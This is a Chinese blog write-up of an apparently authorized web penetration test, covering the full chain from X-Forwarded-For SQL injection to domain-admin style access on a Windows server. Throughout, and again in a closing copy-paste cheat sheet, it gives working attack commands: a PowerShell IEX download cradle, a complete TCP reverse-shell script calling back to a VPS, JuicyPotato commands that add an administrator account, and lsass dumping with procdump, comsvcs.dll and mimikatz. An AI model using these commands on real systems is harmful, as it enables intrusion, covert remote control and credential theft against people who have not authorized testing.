项目实战 | 细节决定成败的渗透测试

时间:2022-07-24
本文章向大家介绍项目实战 | 细节决定成败的渗透测试,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

0x00 前言

个人水平有限,文章若有不足之处,感谢各位大佬批评指正,希望能够与各位师傅分享学习。

目标地址:http://www.xxx.com

找到ip地址,进行访问,发现ip为:x.x.x.x

使用ip地址进行访问

0x01 信息收集

指纹识别结果:IIS10.0,asp.net ,Windows Server

爬取了一下网站,发现fackeditor,和很多接口

利用御剑目录扫描,扫出来一些fackeditor的连接和upload目录

0x02 测试阶段

尝试利用fackeditor的两处上传点进行上传,但是由于一直卡住传不上去和上传校验遂放弃了

对主站抓包测试发现,网站返回访问者IP地址,依据经验这里经常存在XFF注入

截取数据包修改X-Forwarded-For:1.1.1.1

发现当前ip并未变化说明此处不存在XSS

习惯性的试了个单引号,数据库报错了,可能存在sql注入,并且泄露了绝对路径。

构造sqlserver注入语句:

' and 1=db_name()-- 返回数据库

' and 1=@@version-- 返回数据库版本

0x03 漏洞利用

既然手工这样都可以注入出来,那尝试一下使用sqlmap。

X-Forwarded-For存在报错,堆叠以及延时注入

--dbs 获取所有数据库

尝试--os-shell,发现可以得到os-shell

尝试执行whomai,mssqlserver权限

当前权限不够,我们可以利用powershell来反弹shell,然后下载提权exp进行提权,然后添加用户来登陆目标服务器。

首先在vps利用python生成一个web

python3 -m http.server 8000

http://www.vps.com:8000/1.ps1

ps1文件可以访问

1.ps1的内容里填入需要利用powershell反弹的vps和端口

vps监听9999端口,在os-shell中执行以下命令

powershell IEX (New-Object Net.WebClient).DownloadString('http://www.vps.com:8000/1.ps1');Invoke-lltestTcp

shell弹回来了

查看版本,版本是2016,64位。

现在尝试提权,利用烂土豆直接提,windows下载文件的方式有很多,这里选择powershell的下载方式:

将烂土豆放在vps的web目录

在弹回来的powershell中习惯性进入c:windowstasks目录,dir发现无文件,然后输入

$ client=new-object System.Net.WebClient

再输入:

$client.DownloadFile('http://www.vps.com:8000/p1.exe','c:windowstasksp1.exe')

成功下载提权exp到目录,利用exp提权到system权限

接下来新建用户,添加到管理员组

./p1.exe -p "net user admin password /add"
./p1.exe -p "net localgroup administrators admin /add"
./p1.exe -p "net user admin"发现用户添加到管理员组成功。

接下来找rdp端口,判断是否开放或者对外开放。

tasklist /svc |findstr "Ter"

查找TermService对应的pid

通过pid来查找rdp端口,端口为11520

netstat -ano | findstr "1628"

通过nmap扫描IP地址发现11520端口对外开放,都不用做流量代理了,很舒服。

现在我们通过新建在管理员组的用户登陆进去

桌面上东西有点少,在这台电脑里面翻东西有点废时间,于是传了个everything上去

因为不是administrator,弹出来了uac,强迫症的我还是想dump出这个管理员的密码。

因为现在已经进了3389了,就直接在目标服务器上传mimikatz,省的去webshell里面执行了。

传上去一运行就被杀了,土豆没杀却杀了mimiakatz,利用过了360和火绒的免杀mimikatz依然被杀。

对比tasklist /svc发现是微软自带的Microsoft Security Essentials

看来直接运行mimikatz是不行了,那就尝试导出lsass.dmp吧,导出lsass.dmp有很多种方法,免杀的有sqldumper和procdump,还可以利用powershell。

这里利用procdump导出了

procdump64.exe -accepteula -ma lsass.exe c:lsass.dmp

但是很神奇,过了一会当我准备拷贝lsass.dmp到本地的时候发现,lsass.dmp居然没了,纳尼?

不过不碍事,只要我手速够快,就没有问题,纳尼?手速够快,拷贝速度不够啊,还没拷过来一丢丢呢,就直接出现了错误,果然lsass.dmp果然又没了。

那怎么办,dump到其他盘符试试,还是没了

那咱们利用sqldumper

通过everything搜索sqldumper,sqldumper的常见路径如下:

C:Program FilesMicrosoft SQL Server100SharedSqlDumper.exe
C:Program FilesMicrosoft Analysis ServicesAS OLEDB10SQLDumper.exe
C:Program Files (x86)Microsoft SQL Server100SharedSqlDumper.exe
发现这个机器的sqldumper的路径和平时遇见的不太一致,先试试吧

利用lsass.exe发现PID

"C:Program Files (x86)Microsoft SQL Server130SharedSqlDumper.exe" 1316 0 0x01100
dump失败

换一个路径,dump下来了SQLDmpr0001.mdmp

"C:Program FilesMicrosoft SQL Server130SharedSqlDumper.exe" 1316 0 0x01100

复制到本地,管理员打开mimikatz,运行以下语句,报错了,有点小难受,具体原因还不清楚,知道的师傅还请指点。

sekurlsa::minidump SQLDmpr0001.mdmp"
sekurlsa::logonPasswords full

利用sqldumper失败了,那最后试试powershell吧,这个还是之前同事告诉我的,感谢同事

powershell -c "rundll32 C:windowssystem32comsvcs.dll, MiniDump 1316 C:lsass.dmp full"
成功dump,

刷新了半天发现lsass.dmp还在,赶紧拷贝到本地利用mimikatz解密,ok感谢电脑,拷贝过来了

mimikatz解密一下

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

Password那里是空的,在win10或者2012R2以上,默认在缓存中禁止保存明文密码,可以修改注册表并且管理员需要重新登陆才能成功抓取明文,不过可以解密一下NTLM

nice,果然是收费的,

找有钱的公司小姐姐花了一块钱成功解密,感谢公司小姐姐,如果每一个做安全的都像我一样抠门,这些网站估计要倒闭吧

我们利用administrator登陆一下

舒服了,桌面上多了很多东西,慢慢翻吧,

打开sqlserver management,windows身份认证直接登陆上去:

账号密码邮箱手机号找到了

利用里面的账号密码发现都能登录,登陆一下管理员用户看看

不过这个站没有内网,后来也就没有进行下去了。

后续在服务器继续翻点配置文件的操作,用来写报告的就不多赘述了。因为是授权的,痕迹也不用清了,接下来就是交报告了。

最后整理一下用到的命令吧,希望对喜欢ctrl+v的师傅们有些许帮助,祝各位师傅们身体健康,挖洞每天都是高危+严重。

sql注入测试:

' and 1=db_name()--
' and 1=@@version--

python开启web

python3 -m http.server 8000

powershell反弹shell:

powershell IEX (New-Object Net.WebClient).DownloadString('http://www.vps.com:8000/1.ps1');Invoke-lltestTcp
1.ps1文件内容:
function Invoke-lltestTcp
{

$client = New-Object Net.Sockets.TCPClient('vps',port)
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
}

powershell下载文件:

$client=new-object System.Net.WebClient
$client.DownloadFile('http://www.vps.com:8000/p1.exe', 'c:windowstasksp1.exe')
查看操作系统版本:
wmic OS get Caption,CSDVersion,OSArchitecture,Version

烂土豆提权添加用户:

./JuicyPotato.exe -p "whoami"
./JuicyPotato.exe -p "net user admin password /add"
./JuicyPotato.exe -p "net localgroup administrators admin /add"
查找rdp端口和进程查看:
tasklist /svc |findstr "Ter"
netstat -ano | findstr "PID"
tasklist /svc

procdump64导出lsass.dmp:

procdump64.exe -accepteula -ma lsass.exe c:lsass.dmp

SqlDumper.exe导出SQLDmpr0001.mdmp:

tasklist /svc |findstr lsass.exe //查看lsass.exe的pid
"C:Program FilesMicrosoft SQL Server100SharedSqlDumper.exe" pid 0 0x01100
mimikatz解密SQLDmpr0001.mdmp:
sekurlsa::minidump SQLDmpr0001.mdmp
sekurlsa::logonPasswords full

powershell导出lsass.dmp:

powershell -c "rundll32 C:windowssystem32comsvcs.dll, MiniDump 1316 C:lsass.dmp full"
mimikatz解密lsass.dmp:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

END.


欢迎转发~

欢迎关注~

欢迎点赞~